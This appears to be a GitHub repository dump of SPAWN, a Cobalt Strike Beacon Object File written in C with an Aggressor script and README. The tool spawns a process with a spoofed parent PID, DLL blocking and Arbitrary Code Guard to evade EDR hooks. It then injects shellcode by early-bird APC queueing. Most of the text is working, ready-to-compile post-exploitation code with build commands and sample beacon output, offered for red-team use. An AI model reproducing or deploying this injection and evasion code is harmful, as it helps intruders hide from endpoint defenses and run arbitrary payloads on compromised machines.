├── LICENSE.md ├── README.md ├── beacon.h ├── compile.cmds ├── images ├── 8update.png ├── ACGupdate.png ├── Bof-SpawnSuspendedProcess.png ├── blockdll.png ├── cna.png ├── noCrashUpdate.png ├── ppidspoof.png └── retpid.png ├── popCalc.bin ├── spawn.cna ├── spawn.x64.c └── spawn.x64.o /LICENSE.md: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Bobby Cooke 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## SPAWN - Cobalt Strike BOF 2 | Cobalt Strike BOF that spawns a sacrificial process, injects it with shellcode, and executes payload. Built to evade EDR/UserLand hooks by spawning sacrificial process with Arbitrary Code Guard (ACG), BlockDll, and PPID spoofing. 3 | + Due to ACG, this does not support shellcode which is dependent on these fuctionalities: 4 | + Toggling memory permissions between RW/RX. 5 | + RWX memory 6 | + To inject shellcode into a spawned process that is dependent on the above functionilities please see the [Hollow BOF project](https://github.com/boku7/HOLLOW) 7 | + For an awesome explaination on ACG please see Adam Chestner's blog below. 8 | 9 | ## New Features (08/01/2021) 10 | + Spawn sacrificial process with Arbitrary Code Guard (ACG) to prevent EDR solutions from hooking into sacrificial process DLL's. 11 | + See [Adam Chester's "Protecting Your Malware" blog for full details](https://blog.xpnsec.com/protecting-your-malware/). This part of the BOF is derived from his work. 12 | + Inject & Execute shellcode. 13 | #### Popin' Calc from ACG Protected Process 14 | ![](/images/8update.png) 15 | ```bash 16 | beacon> spawn notepad.exe 6248 /Users/bobby.cooke/git/boku7/SPAWN/popCalc.bin 17 | [*] SPAWN (Bobby Cooke//SpiderLabs|@0xBoku|github.com/boku7) 18 | [+] Opened handle 0x534 to process 6248(PID) 19 | [+] Spawned process: notepad.exe | PID: 8404 | PPID: 6248 20 | [+] Allocated RE memory in remote process 8404 (PID) at: 0x00000177A72C0000 21 | [+] Wrote 280 bytes to memory in remote process 8404 (PID) at 0x00000177A72C0000 22 | [+] APC queued for main thread of 8404 (PID) to shellcode address 0x00000177A72C0000 23 | ``` 24 | 25 | ## New Features (07/19/2021) 26 | + CNA Agressor Script interface 27 | ```bash 28 | beacon> help 29 | spawn Spawn a process with a spoofed PPID and blockDll 30 | beacon> help spawn 31 | Synopsis: spawn /path/to/exe PPID 32 | beacon> ps 33 | 8264 5536 OneDrive.exe x86 1 DESKTOP-KOSR2NO\boku 34 | beacon> spawn cmd.exe 8264 35 | [*] SPAWN (@0xBoku|github.com/boku7) 36 | Opened handle 0x634 to process 8264(PID) 37 | Success! Spawned process: cmd.exe | PID: 5384 | PPID: 8264 38 | ``` 39 | + PPID Spoofing 40 | + Cobalt Strike "like" `blockdll` functionality 41 | 42 | ### Compile with x64 MinGW: 43 | ```bash 44 | x86_64-w64-mingw32-gcc -c spawn.x64.c -o spawn.x64.o 45 | ``` 46 | ### Run from Cobalt Strike Beacon Console 47 | + After compile import the spawn.cna script into Cobalt Strikes Script Manager 48 | ```bash 49 | beacon> spawn /path/to/exe PPID /local/path/to/shellcode.bin 50 | ``` 51 | 52 | ### To Do List 53 | + ~Agressor script for better end user experience~ 54 | ![](/images/cna.png) 55 | + ~PPID spoofing for better parent-child process relation OPSEC~ 56 | ![](/images/ppidspoof.png) 57 | - Here we can see our `cmd.exe` process being spawned with the PPID as `OneDrive.exe` 58 | + ~implement Cobalt Strike `blockdll` functionality to prevent non-MS signed DLLs from loading into the spawned processes memory~ 59 | ![](/images/blockdll.png) 60 | - We see the parent-child process relationship, and that our spawned process has been created with the `Signatures restricted (Microsoft only)` 61 | - The `Signatures restricted (Microsoft only)` makes it so DLL's not signed by Microsoft cannot be loaded into our spawned process 62 | + ~~Do not crash the beacon process when the PE file does not exist~~ 63 | ![](/images/noCrashUpdate.png) 64 | - No longer crashes on process creation failure! 65 | + ~Return the PID to the Cobalt Strike console when the new process is spawned~ 66 | ![](/images/retpid.png) 67 | + ~Build out different methods of remote process injection~ (08/01/21) 68 | + Build out different methods of remote process patching 69 | + NTDLL.DLL remote process Unhooking 70 | + ETW remote process Patching/Bypass 71 | + AMSI remote process Patching/Bypass 72 | + CLR Loading & .Net assembly injection 73 | 74 | ### Why did I build this? 75 | ##### 1. To learn more about Cobalt Strike BOFs 76 | ##### 2. I want flexibility in choosing my sacraficial processes. 77 | + Spawning the same process for every fork-and-run seems like bad/predictable OPSEC to me. 78 | + There are probably methods for this out there or built into CS already. Either way, I wanted to build my own. 79 | ##### 3. I have allot of cool BOF ideas that I want to build on this. 80 | 81 | ### Credits / References 82 | ##### PPID Spoofing & blockDll functionality 83 | + Credit/shoutout to: Adam Chester @\_xpn\_ + @SEKTOR7net + Raphael Mudge 84 | + Thank you for the amazing work that you've contributed. I would not be able to publish this without your blogs, videos, and awesome content! 85 | + Main References for PPID Spoofing & blockdll 86 | - https://blog.xpnsec.com/protecting-your-malware/ 87 | - https://blog.cobaltstrike.com/2021/01/13/pushing-back-on-userland-hooks-with-cobalt-strike/ 88 | - https://institute.sektor7.net/ (Courses) 89 | ##### Raphael Mudge - Beacon Object Files - Luser Demo 90 | + https://www.youtube.com/watch?v=gfYswA_Ronw 91 | ##### Cobalt Strike - Beacon Object Files 92 | + https://www.cobaltstrike.com/help-beacon-object-files 93 | ##### BOF Code References 94 | ###### anthemtotheego/InlineExecute-Assembly 95 | + https://github.com/anthemtotheego/InlineExecute-Assembly/blob/main/inlineExecuteAssembly/inlineExecute-Assembly.cna 96 | ###### ajpc500/BOFs 97 | + https://github.com/ajpc500/BOFs/ 98 | ###### trustedsec/CS-Situational-Awareness-BOF 99 | + https://github.com/trustedsec/CS-Situational-Awareness-BOF 100 | ##### Sektor7 Malware Dev Essentials course - learned how to do the early bird injection technique 101 | + https://institute.sektor7.net/red-team-operator-malware-development-essentials 102 | -------------------------------------------------------------------------------- /beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | /* data API */ 11 | typedef struct { 12 | char * original; /* the original buffer [so we can free it] */ 13 | char * buffer; /* current pointer into our buffer */ 14 | int length; /* remaining length of data */ 15 | int size; /* total size of this buffer */ 16 | } datap; 17 | 18 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 19 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 20 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 21 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 22 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 23 | 24 | /* format API */ 25 | typedef struct { 26 | char * original; /* the original buffer [so we can free it] */ 27 | char * buffer; /* current pointer into our buffer */ 28 | int length; /* remaining length of data */ 29 | int size; /* total size of this buffer */ 30 | } formatp; 31 | 32 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 33 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 34 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 35 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 36 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 37 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 38 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 39 | 40 | /* Output Functions */ 41 | #define CALLBACK_OUTPUT 0x0 42 | #define CALLBACK_OUTPUT_OEM 0x1e 43 | #define CALLBACK_ERROR 0x0d 44 | #define CALLBACK_OUTPUT_UTF8 0x20 45 | 46 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 47 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 48 | 49 | /* Token Functions */ 50 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 51 | DECLSPEC_IMPORT void BeaconRevertToken(); 52 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 53 | 54 | /* Spawn+Inject Functions */ 55 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 56 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 57 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 58 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 59 | DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess (BOOL x86, BOOL ignoreToken, STARTUPINFO * sInfo, PROCESS_INFORMATION * pInfo); 60 | 61 | /* Utility Functions */ 62 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); -------------------------------------------------------------------------------- /compile.cmds: -------------------------------------------------------------------------------- 1 | x86_64-w64-mingw32-gcc -c spawn.x64.c -o spawn.x64.o 2 | -------------------------------------------------------------------------------- /images/8update.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boku7/spawn/f955e63d5acff067faa6c995f6504013cf86f6c1/images/8update.png -------------------------------------------------------------------------------- /images/ACGupdate.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boku7/spawn/f955e63d5acff067faa6c995f6504013cf86f6c1/images/ACGupdate.png -------------------------------------------------------------------------------- /images/Bof-SpawnSuspendedProcess.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boku7/spawn/f955e63d5acff067faa6c995f6504013cf86f6c1/images/Bof-SpawnSuspendedProcess.png -------------------------------------------------------------------------------- /images/blockdll.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boku7/spawn/f955e63d5acff067faa6c995f6504013cf86f6c1/images/blockdll.png -------------------------------------------------------------------------------- /images/cna.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boku7/spawn/f955e63d5acff067faa6c995f6504013cf86f6c1/images/cna.png -------------------------------------------------------------------------------- /images/noCrashUpdate.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boku7/spawn/f955e63d5acff067faa6c995f6504013cf86f6c1/images/noCrashUpdate.png -------------------------------------------------------------------------------- /images/ppidspoof.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boku7/spawn/f955e63d5acff067faa6c995f6504013cf86f6c1/images/ppidspoof.png -------------------------------------------------------------------------------- /images/retpid.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boku7/spawn/f955e63d5acff067faa6c995f6504013cf86f6c1/images/retpid.png -------------------------------------------------------------------------------- /popCalc.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boku7/spawn/f955e63d5acff067faa6c995f6504013cf86f6c1/popCalc.bin -------------------------------------------------------------------------------- /spawn.cna: -------------------------------------------------------------------------------- 1 | beacon_command_register( 2 | "spawn", 3 | "Spawns a process, then injects & executes shellcode. Built to evade EDR/UserLand hooks by spawning the process with Arbitrary Code Guard (ACG), BlockDll, and PPID spoofing.", 4 | "Synopsis: spawn /path/to/exe PPID /local/path/to/shellcode.bin" 5 | ); 6 | 7 | alias spawn { 8 | if(size(@_) != 4) 9 | { 10 | berror($1, "Incorrect usage!"); 11 | berror($1, beacon_command_detail("spawn")); 12 | return; 13 | } 14 | local('$handle $data $args'); 15 | 16 | $handle = openf(script_resource("spawn.x64.o")); 17 | $data = readb($handle, -1); 18 | closef($handle); 19 | 20 | $sc_handle = openf($4); 21 | $sc_data = readb($sc_handle, -1); 22 | closef($sc_handle); 23 | 24 | $args = bof_pack($1,"zib",$2,$3,$sc_data); 25 | 26 | btask($1, "SPAWN (Bobby Cooke//SpiderLabs|@0xBoku|github.com/boku7)"); 27 | beacon_inline_execute($1, $data, "go", $args); 28 | } 29 | -------------------------------------------------------------------------------- /spawn.x64.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "beacon.h" 3 | 4 | // Author: Bobby Cooke (@0xBoku) // SpiderLabs // github.com/boku7 // https://www.linkedin.com/in/bobby-cooke/ // https://0xboku.com 5 | // Credit/shoutout to: Adam Chester @_xpn_ + @SEKTOR7net + Raphael Mudge 6 | // Thank you for the amazing work that you've contributed. I would not be able to publish this without your blogs, videos, and awesome content! 7 | // Main References for PPID Spoofing & blockdll 8 | // - https://blog.xpnsec.com/protecting-your-malware/ 9 | // - https://blog.cobaltstrike.com/2021/01/13/pushing-back-on-userland-hooks-with-cobalt-strike/ 10 | // - https://institute.sektor7.net/ (Courses) 11 | // - https://github.com/ajpc500/BOFs 12 | 13 | #define intZeroMemory(addr,size) MSVCRT$memset((addr),0,size) 14 | 15 | // Bug Fix (07/20/21) - Compiling issues with on Kali 16 | // macos compiled fine, but on kali some definitions were not included. Manually defined them here. 17 | // Successful compilation on: 18 | // - Linux kali 5.10.0-kali3-amd64 #1 SMP Debian 5.10.13-1kali1 (2021-02-08) x86_64 GNU/Linux 19 | // - x86_64-w64-mingw32-gcc (GCC) 10-win32 20210110 20 | // Defined in WinBase.h on windows system - has "2" at end to avoid duplicate declaration warnings/errors on macOS 21 | #define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON2 0x0000100000000000 22 | 23 | // grep -ir "PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON" /usr/local/Cellar/mingw-w64/9.0.0/toolchain-x86_64/x86_64-w64-mingw32/include/ 24 | // /usr/local/Cellar/mingw-w64/9.0.0/toolchain-x86_64/x86_64-w64-mingw32/include/winbase.h:#define PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON (0x0001ULL << 36) 25 | #define PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON2 0x0000001000000000 26 | 27 | #define PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY2 0x00020007 28 | #define PROC_THREAD_ATTRIBUTE_PARENT_PROCESS2 0x00020000 29 | /* RCX RDX R8 R9 [RSP+0x0] [RSP+0x8] [RSP+0x10] 30 | UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(policy), NULL, NULL); 31 | 00007FF6BF71195A mov qword ptr[rsp + 30h], 0 32 | 00007FF6BF711963 mov qword ptr[rsp + 28h], 0 33 | 00007FF6BF71196C mov qword ptr[rsp + 20h], 8 34 | 00007FF6BF711975 lea r9, [policy] 35 | 00007FF6BF71197C mov r8d, 20007h 36 | - R8D = PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = 20007h = 0x00020007 = DWORD 4 bytes 37 | */ 38 | typedef struct _STARTUPINFOEXA2 { 39 | STARTUPINFOA StartupInfo; 40 | LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; 41 | } STARTUPINFOEXA2, *LPSTARTUPINFOEXA2; 42 | 43 | WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId); 44 | WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject); 45 | DECLSPEC_IMPORT WINBASEAPI WINBOOL WINAPI KERNEL32$CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, WINBOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); 46 | DECLSPEC_IMPORT WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count); 47 | DECLSPEC_IMPORT WINBASEAPI WINBOOL WINAPI KERNEL32$InitializeProcThreadAttributeList (LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, DWORD dwAttributeCount, DWORD dwFlags, PSIZE_T lpSize); 48 | DECLSPEC_IMPORT WINBASEAPI WINBOOL WINAPI KERNEL32$UpdateProcThreadAttribute (LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, DWORD dwFlags, DWORD_PTR Attribute, PVOID lpValue, SIZE_T cbSize, PVOID lpPreviousValue, PSIZE_T lpReturnSize); 49 | DECLSPEC_IMPORT WINBASEAPI VOID WINAPI KERNEL32$DeleteProcThreadAttributeList (LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList); 50 | WINBASEAPI void * WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); 51 | WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap(); 52 | DECLSPEC_IMPORT WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAllocEx (HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 53 | DECLSPEC_IMPORT WINBASEAPI WINBOOL WINAPI KERNEL32$WriteProcessMemory (HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten); 54 | DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$QueueUserAPC (PAPCFUNC pfnAPC, HANDLE hThread, ULONG_PTR dwData); 55 | DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$ResumeThread (HANDLE hThread); 56 | 57 | void SpawnProcess(char * peName, DWORD ppid, unsigned char * shellcode, SIZE_T shellcode_len){ 58 | // Declare variables/struct 59 | // Declare booleans as WINBOOL in BOFs. "bool" will not work 60 | WINBOOL check1 = 0; 61 | WINBOOL check2 = 0; 62 | WINBOOL check3 = 0; 63 | WINBOOL check4 = 0; 64 | WINBOOL check5 = 0; 65 | // Pointer to the RE memory in the remote process we spawn. Returned from when we call WriteProcessMemory with a handle to the remote process 66 | void * remotePayloadAddr; 67 | //ULONG_PTR dwData = NULL; 68 | SIZE_T bytesWritten; 69 | // (07/20/21) - Changed from STARTUPINFOEX -> STARTUPINFOEXA 70 | STARTUPINFOEXA2 sInfoEx = { sizeof(sInfoEx) }; 71 | intZeroMemory( &sInfoEx, sizeof(sInfoEx) ); 72 | // STARTUPINFOEXA - https://docs.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-startupinfoexa 73 | // STARTUPINFOA - https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa 74 | // typedef struct _STARTUPINFOEXA { 75 | // STARTUPINFOA StartupInfo; 76 | // LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; 77 | // } STARTUPINFOEXA, *LPSTARTUPINFOEXA 78 | PROCESS_INFORMATION pInfo; 79 | intZeroMemory(&pInfo, sizeof(pInfo)); 80 | SIZE_T cbAttributeListSize = 0; 81 | 82 | PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = NULL; 83 | HANDLE hParentProcess = NULL; 84 | 85 | // Enable blocking of non-Microsoft signed DLL - This will not block EDR DLL's that are signed by Microsoft 86 | // "Nope, Falcon loads perfectly fine with 'blockdlls' enabled and hooks ntdll. umppcXXXX.dll (Falcon's injected DLL) is digitally signed by MS so no wonder this doesn't prevents EDR injection pic.twitter.com/lDT4gOuYSV" 87 | // — reenz0h (@Sektor7Net) October 25, 2019 88 | // https://blog.xpnsec.com/protecting-your-malware/ 89 | DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON2 + PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON2; 90 | //DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON2; 91 | 92 | // Get a handle to the target process 93 | HANDLE hProc = KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)ppid); 94 | if (hProc != NULL) { 95 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Opened handle 0x%x to process %d(PID)", hProc, ppid); 96 | } 97 | else{ 98 | BeaconPrintf(CALLBACK_OUTPUT, "[!] Failed to get handle to process: %d(PID)", ppid); 99 | return; 100 | } 101 | // Create an Attribute list. Make sure to have the second argument as 2 since we need to have 2 attributes in our lost 102 | // Get the size of our PROC_THREAD_ATTRIBUTE_LIST to be allocated 103 | // - https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-initializeprocthreadattributelist 104 | KERNEL32$InitializeProcThreadAttributeList(NULL, 2, 0, &cbAttributeListSize); 105 | // Allocate memry for our attribute list. We will supply a pointer to this struct to our STARTUPINFOEXA struct 106 | pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), 0, cbAttributeListSize); 107 | // Initialise our list - This sets up our attribute list to hold the correct information to begin with 108 | KERNEL32$InitializeProcThreadAttributeList(pAttributeList, 2, 0, &cbAttributeListSize); 109 | 110 | // Here we call UpdateProcThreadAttribute twice to make sure our new process will spoof the PPID and start with CFG set to block non MS signed DLLs from loading 111 | // https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribut 112 | // Spoof the parent process ID (PPID) using the handle to the process we got from the PID 113 | KERNEL32$UpdateProcThreadAttribute(pAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS2, &hProc, sizeof(HANDLE), NULL, NULL); 114 | // Set our new process to not load non-MS signed DLLs - AKA blockDll functional;ity in cobaltstrike 115 | KERNEL32$UpdateProcThreadAttribute(pAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY2, &policy, sizeof(policy), NULL, NULL); 116 | sInfoEx.lpAttributeList = pAttributeList; 117 | 118 | // https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa 119 | WINBOOL check = KERNEL32$CreateProcessA(NULL, peName, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT|CREATE_SUSPENDED, NULL, NULL, (LPSTARTUPINFOA)&sInfoEx, &pInfo); 120 | if (check){ 121 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Spawned process: %s | PID: %d | PPID: %d", peName,pInfo.dwProcessId,ppid); 122 | } 123 | else{ 124 | BeaconPrintf(CALLBACK_ERROR, "[!] Could not create a process for %s using CreateProcessA()",peName); 125 | BeaconPrintf(CALLBACK_ERROR, "[!] Exiting SPAWN BOF.."); 126 | return; 127 | } 128 | // Allocate memory in the spawned process 129 | // We can write to PAGE_EXECUTE_READ memory in the remote process with WriteProcessMemory, so no need to allocate RW/RWE memory 130 | remotePayloadAddr = KERNEL32$VirtualAllocEx(pInfo.hProcess, NULL, shellcode_len, MEM_COMMIT, PAGE_EXECUTE_READ); 131 | if (remotePayloadAddr != NULL){ 132 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Allocated RE memory in remote process %d (PID) at: 0x%p", pInfo.dwProcessId, remotePayloadAddr); 133 | } 134 | else{ 135 | BeaconPrintf(CALLBACK_ERROR, "[!] Could not allocate memory to remote process %d (PID)", pInfo.dwProcessId); 136 | BeaconPrintf(CALLBACK_ERROR, "[!] Exiting SPAWN BOF.."); 137 | return; 138 | } 139 | // Write our popCalc shellcode payload to the remote process we spawned at the memory we allocated 140 | // https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory 141 | check3 = KERNEL32$WriteProcessMemory(pInfo.hProcess, remotePayloadAddr, (LPCVOID)shellcode, (SIZE_T)shellcode_len, (SIZE_T *) &bytesWritten); 142 | if (check3 == 1){ 143 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Wrote %d bytes to memory in remote process %d (PID) at 0x%p", bytesWritten, pInfo.dwProcessId, remotePayloadAddr); 144 | } 145 | else{ 146 | BeaconPrintf(CALLBACK_ERROR, "[!] Could not write payload to memory at 0x%p", remotePayloadAddr); 147 | BeaconPrintf(CALLBACK_ERROR, "[!] Exiting SPAWN BOF.."); 148 | return; 149 | } 150 | 151 | // This is the "EarlyBird" technique to hijack control of the processes main thread using APC 152 | // technique taught in Sektor7 course: RED TEAM Operator: Malware Development Intermediate Course 153 | // https://institute.sektor7.net/courses/rto-maldev-intermediate/463257-code-injection/1435343-earlybird 154 | // https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc 155 | // DWORD QueueUserAPC( 156 | // PAPCFUNC pfnAPC, - A pointer to the payload we want to run 157 | // HANDLE hThread, - A handle to the thread. Returned at PROCESS_INFORMATION.hThread after CreateProcessA call 158 | // ULONG_PTR dwData - Argument supplied to pfnAPC? Can be NULL 159 | // ); 160 | check4 = KERNEL32$QueueUserAPC((PAPCFUNC)remotePayloadAddr, pInfo.hThread, (ULONG_PTR) NULL); 161 | if (check4 == 1){ 162 | BeaconPrintf(CALLBACK_OUTPUT, "[+] APC queued for main thread of %d (PID) to shellcode address 0x%p", pInfo.dwProcessId, remotePayloadAddr); 163 | } 164 | else{ 165 | BeaconPrintf(CALLBACK_ERROR, "[!] Could not queue APC for main thread of %d (PID) to shellcode address 0x%p", pInfo.dwProcessId, remotePayloadAddr); 166 | BeaconPrintf(CALLBACK_ERROR, "[!] Exiting SPAWN BOF.."); 167 | return; 168 | } 169 | // When we resume the main thread from suspended, APC will trigger and our thread will execute our shellcode 170 | // https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-resumethread 171 | check5 = KERNEL32$ResumeThread(pInfo.hThread); 172 | if (check5 != -1){ 173 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Thread resumed and shellcode is being executed within the remote process!"); 174 | } 175 | else{ 176 | BeaconPrintf(CALLBACK_ERROR, "[!] Could not resume thread."); 177 | BeaconPrintf(CALLBACK_ERROR, "[!] Exiting SPAWN BOF.."); 178 | return; 179 | } 180 | 181 | // Cleanup the attribute list and close the handle to the parent process we spoofed 182 | KERNEL32$DeleteProcThreadAttributeList(pAttributeList); 183 | KERNEL32$CloseHandle(hProc); 184 | } 185 | void go(char * args, int len) { 186 | datap parser; 187 | char * peName; 188 | DWORD ppid; 189 | 190 | // Example of creating a raw shellcode payload with msfvenom 191 | // msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o popCalc.bin 192 | unsigned char * shellcode; 193 | SIZE_T shellcode_len; 194 | 195 | BeaconDataParse(&parser, args, len); 196 | peName = BeaconDataExtract(&parser, NULL); 197 | ppid = BeaconDataInt(&parser); 198 | shellcode_len = BeaconDataLength(&parser); 199 | shellcode = BeaconDataExtract(&parser, NULL); 200 | SpawnProcess(peName,ppid,shellcode,shellcode_len); 201 | } 202 | -------------------------------------------------------------------------------- /spawn.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boku7/spawn/f955e63d5acff067faa6c995f6504013cf86f6c1/spawn.x64.o --------------------------------------------------------------------------------